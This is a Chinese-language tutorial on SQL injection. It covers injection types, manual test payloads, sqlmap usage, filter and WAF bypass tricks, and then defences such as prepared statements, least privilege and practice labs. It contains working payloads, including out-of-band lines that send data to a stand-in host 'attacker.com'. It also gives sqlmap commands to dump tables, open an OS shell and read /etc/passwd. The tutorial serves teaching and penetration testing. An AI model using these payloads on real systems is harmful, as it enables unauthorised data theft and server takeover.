前言
SQL 注入(SQL Injection)是網頁應用程式中最常見且最危險的安全漏洞之一。攻擊者可以透過在輸入欄位中插入惡意的 SQL 語句,來操縱後端資料庫,進而竊取敏感資料、繞過身份驗證,甚至完全控制資料庫伺服器。
本文將深入探討 SQL 注入的各種類型、手動測試技巧、自動化工具使用、繞過技巧以及防禦措施。
SQL 注入類型
1. In-Band SQL Injection(帶內注入)
這是最常見且最容易利用的 SQL 注入類型,攻擊者可以透過相同的通訊管道發送攻擊並接收結果。
Error-Based(錯誤型注入)
利用資料庫回傳的錯誤訊息來獲取資訊:
1
2
| ' OR 1=1 --
' UNION SELECT NULL, table_name FROM information_schema.tables --
|
Union-Based(聯合查詢注入)
利用 UNION 語句將惡意查詢結果與原始查詢結果合併:
1
2
| ' UNION SELECT username, password FROM users --
' UNION SELECT 1,2,3,4 --
|
2. Blind SQL Injection(盲注)
當應用程式不直接顯示錯誤訊息或查詢結果時使用。
Boolean-Based(布林型盲注)
透過觀察頁面回應的差異來判斷:
1
2
3
| ' AND 1=1 -- (頁面正常)
' AND 1=2 -- (頁面異常)
' AND SUBSTRING(username,1,1)='a' --
|
Time-Based(時間型盲注)
透過延遲回應時間來判斷:
1
2
3
| ' AND SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --
'; WAITFOR DELAY '0:0:5' -- (MSSQL)
|
3. Out-of-Band SQL Injection(帶外注入)
當無法使用帶內通道時,透過 DNS 或 HTTP 請求將資料外洩:
1
2
| '; EXEC master..xp_dirtree '\\attacker.com\share' -- (MSSQL)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a')) -- (MySQL)
|
手動測試技巧
基本偵測
首先,測試輸入點是否存在 SQL 注入漏洞:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 單引號測試
'
''
"
# 註解測試
--
#
/**/
# 邏輯測試
' OR '1'='1
' OR '1'='1' --
" OR "1"="1
' AND '1'='1
' AND '1'='2
|
判斷資料庫類型
不同資料庫的語法特徵:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| # MySQL
' AND @@version --
' AND version() --
# MSSQL
' AND @@version --
' AND db_name() --
# Oracle
' AND banner FROM v$version --
' AND (SELECT banner FROM v$version WHERE ROWNUM=1) --
# PostgreSQL
' AND version() --
' AND current_database() --
|
列舉資料庫結構
MySQL
1
2
3
4
5
6
7
8
9
10
11
| # 取得所有資料庫
' UNION SELECT schema_name FROM information_schema.schemata --
# 取得所有資料表
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --
# 取得欄位名稱
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
# 取得資料
' UNION SELECT CONCAT(username,':',password) FROM users --
|
確定欄位數量
1
2
3
4
5
6
7
8
| ' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- (持續增加直到出錯)
# 或使用 UNION
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --
|
SQLMap 工具使用
SQLMap 是一個強大的自動化 SQL 注入工具,可以自動偵測和利用 SQL 注入漏洞。
基本使用
1
2
3
4
5
6
7
8
9
10
11
| # 基本掃描
sqlmap -u "http://target.com/page.php?id=1"
# POST 請求
sqlmap -u "http://target.com/login.php" --data="username=admin&password=123"
# 指定 Cookie
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
# 從 Burp 請求檔案
sqlmap -r request.txt
|
資訊收集
1
2
3
4
5
6
7
8
9
10
11
| # 取得資料庫列表
sqlmap -u "http://target.com/page.php?id=1" --dbs
# 取得資料表
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# 取得欄位
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns
# 取得資料
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name -C column1,column2 --dump
|
進階選項
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| # 指定資料庫類型
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql
# 提升權限等級
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3
# 使用 Tor 代理
sqlmap -u "http://target.com/page.php?id=1" --tor --check-tor
# 繞過 WAF
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,between
# 取得作業系統 Shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell
# 取得 SQL Shell
sqlmap -u "http://target.com/page.php?id=1" --sql-shell
# 讀取檔案
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
|
常用 Tamper Script
1
2
3
4
5
6
7
| # 常用的繞過腳本
--tamper=space2comment # 空格轉換為註解
--tamper=between # 用 BETWEEN 取代大於小於
--tamper=randomcase # 隨機大小寫
--tamper=charencode # URL 編碼
--tamper=space2plus # 空格轉換為加號
--tamper=apostrophemask # UTF-8 編碼單引號
|
繞過技巧
空格過濾繞過
1
2
3
4
5
6
7
8
9
| # 使用註解
SELECT/**/username/**/FROM/**/users
# 使用 Tab 或換行
SELECT username FROM users
SELECT%0ausername%0aFROM%0ausers
# 使用括號
SELECT(username)FROM(users)
|
引號過濾繞過
1
2
3
4
5
| # 使用十六進位
SELECT * FROM users WHERE username=0x61646d696e
# 使用 CHAR 函數
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)
|
關鍵字過濾繞過
1
2
3
4
5
6
7
8
9
| # 大小寫混合
SeLeCt * FrOm users
# 雙寫繞過(當過濾器只刪除一次時)
SELSELECTECT * FROM users
# 使用等效函數
MID() 取代 SUBSTRING()
IFNULL() 取代 IF()
|
註解過濾繞過
1
2
3
4
5
6
7
8
| # 使用內聯註解(MySQL)
SELECT /*!50000username*/ FROM users
# 使用不同註解符號
--
#
/**/
;%00
|
WAF 繞過
1
2
3
4
5
6
7
8
9
10
| # HPP(HTTP 參數污染)
?id=1&id=' OR '1'='1
# 編碼繞過
URL 編碼:%27%20OR%20%271%27%3D%271
雙重 URL 編碼:%2527%2520OR%2520%25271%2527%253D%25271
Unicode 編碼:%u0027%u0020OR%u0020%u00271%u0027%u003D%u00271
# 緩衝區溢位(部分 WAF)
?id=1 AND 'aaaa...(大量 a)...aaaa'='aaaa...aaaa'
|
防禦措施
1. 參數化查詢(Prepared Statements)
最有效的防禦方式,將 SQL 語句與資料分離:
PHP (PDO)
1
2
| $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->execute(['username' => $username, 'password' => $password]);
|
Python
1
| cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
|
Java
1
2
3
| PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
|
2. 輸入驗證
1
2
3
4
5
6
7
8
9
| // 白名單驗證
$allowed_sort = ['name', 'date', 'id'];
if (!in_array($sort_column, $allowed_sort)) {
$sort_column = 'id';
}
// 類型驗證
$id = intval($_GET['id']);
$id = filter_var($_GET['id'], FILTER_VALIDATE_INT);
|
3. 輸出編碼
1
2
3
| // 防止錯誤訊息洩露敏感資訊
ini_set('display_errors', 0);
error_reporting(0);
|
4. 最小權限原則
1
2
3
4
5
| -- 建立專用的應用程式帳號
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON app_database.* TO 'webapp'@'localhost';
-- 避免使用 root 帳號連接資料庫
|
5. 使用 ORM
使用 ORM(如 Django ORM、SQLAlchemy、Eloquent)可以大幅降低 SQL 注入風險:
1
2
| # Django ORM
users = User.objects.filter(username=username, password=password)
|
6. Web 應用程式防火牆(WAF)
部署 WAF 作為額外的防護層,但不應作為唯一的防禦手段:
- ModSecurity
- Cloudflare WAF
- AWS WAF
實戰演練平台
以下是一些練習 SQL 注入的合法平台:
DVWA (Damn Vulnerable Web Application)
SQLi-labs
HackTheBox
PortSwigger Web Security Academy
OWASP WebGoat
總結
SQL 注入攻擊至今仍是網頁應用程式面臨的主要威脅之一。作為滲透測試人員,了解各種注入技術和繞過方法是必備技能;作為開發者,採用參數化查詢和適當的輸入驗證是防禦的基礎。
記住,在進行任何安全測試之前,務必取得合法授權。未經授權的測試行為可能觸犯法律。
參考資源